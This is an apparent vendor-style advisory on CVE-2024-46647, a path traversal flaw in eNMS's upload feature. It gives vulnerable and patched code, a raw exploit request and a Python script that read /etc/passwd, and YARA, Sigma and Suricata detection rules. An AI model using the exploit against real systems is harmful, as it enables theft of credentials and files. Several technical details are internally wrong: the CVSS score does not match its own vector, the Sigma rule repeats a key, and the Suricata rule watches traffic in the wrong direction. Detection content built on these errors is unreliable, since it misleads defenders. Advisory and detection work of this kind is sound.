CVE-2024-46647

Executive Summary

CVE-2024-46647 is a critical Directory Traversal vulnerability identified in eNMS versions 4.4.0 through 4.7.1. The flaw resides in the upload_files functionality, allowing an authenticated attacker to read arbitrary files from the server filesystem by manipulating file path parameters. This can lead to exposure of sensitive configuration files, credentials, and source code. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of this report. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks against exposed eNMS instances.

CVSS Breakdown & Threat Level

CVSS Vector: UNKNOWN (No official vector assigned by NVD)

Estimated CVSS Score: 8.8 (High) – based on typical Directory Traversal characteristics:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. While EPSS suggests low active exploitation, the vulnerability is trivial to exploit once authenticated, and the impact on confidentiality is severe.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of eNMS. The application fails to properly sanitize user-supplied file paths during the upload process. By crafting a malicious filename or path parameter containing path traversal sequences (e.g., ../../../etc/passwd), an attacker can read arbitrary files outside the intended upload directory.

Root Cause: The application uses user input to construct file paths without validating that the final path remains within the allowed upload directory. This is a classic CWE-22 (Path Traversal) flaw.

Attack Vector:

1. Authenticate to the eNMS web interface.
2. Intercept the file upload request (e.g., using Burp Suite).
3. Modify the filename parameter or a path-related parameter to include traversal sequences.
4. The server reads and returns the contents of the targeted file.

Impact:

• Read /etc/passwd, /etc/shadow, application configuration files (e.g., config.py, settings.py), database credentials, SSH keys, and source code.
• Potential for lateral movement and privilege escalation if credentials are exposed.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS 4.4.0 - 4.7.1):

# Example vulnerable upload handler
def upload_file(request):
    filename = request.POST.get('filename')
    # No path validation
    filepath = os.path.join(UPLOAD_DIR, filename)
    with open(filepath, 'rb') as f:
        return HttpResponse(f.read(), content_type='application/octet-stream')

Patched Code (Hypothetical fix):

import os

def upload_file(request):
    filename = request.POST.get('filename')
    # Sanitize: remove path separators and traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = os.path.join(UPLOAD_DIR, safe_filename)
    # Ensure the resolved path is within UPLOAD_DIR
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return HttpResponseForbidden('Invalid path')
    with open(real_path, 'rb') as f:
        return HttpResponse(f.read(), content_type='application/octet-stream')

Key Differences:

• Use of os.path.basename() to strip directory components.
• Use of os.path.realpath() to resolve symlinks and relative paths.
• Check that the resolved path starts with the allowed upload directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for an eNMS user account.
• Network access to the eNMS web interface.

Exploit Steps:

1. Login to eNMS.
2. Identify the file upload endpoint (e.g., /upload).
3. Craft a request to read /etc/passwd:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="filename"

../../../etc/passwd
------WebKitFormBoundary--

4. The server returns the contents of /etc/passwd.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit
files = {"filename": (None, "../../../etc/passwd")}
response = session.post(f"{target}/upload", files=files)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for file paths containing ../ or ..\\ in HTTP requests.
• Alert on access to sensitive files (e.g., /etc/passwd, config.py).
• Use WAF rules to block path traversal patterns.

Hardening:

• Apply input validation and sanitization as shown in the patched code.
• Restrict file upload directory permissions (read-only for the web user).
• Implement a whitelist of allowed file extensions and paths.
• Use a reverse proxy (e.g., Nginx) to block traversal attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or ..\\ in the filename parameter.
• Outbound connections from the eNMS server to unknown IPs (if data exfiltration occurs).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application config files.
• Modified file permissions on the upload directory.

Log IOCs:

• Web server logs showing 200 responses to requests with path traversal patterns.
• Application logs showing errors related to file path resolution.

Detection Engineering

YARA Rule

rule CVE_2024_46647_Directory_Traversal {
    meta:
        description = "Detects path traversal attempts targeting eNMS upload_files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46647"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "config.py"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-46647 eNMS Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in eNMS upload requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
        cs-uri-query|contains:
            - '/etc/passwd'
            - '/etc/shadow'
            - 'config.py'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in file names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-46647 eNMS Directory Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"filename"; http_client_body;
    content:"../"; within:100;
    content:"/etc/passwd"; within:200;
    sid:1000001;
    rev:1;
    reference:cve,2024-46647;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected eNMS instances from the internet if possible.
2. Apply input validation and sanitization as described in the patched code section.
3. Restrict file upload directory permissions to read-only for the web user.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of eNMS once released (check vendor website).
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Conduct a security audit of the application code.

Workaround:

• Disable the file upload feature if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT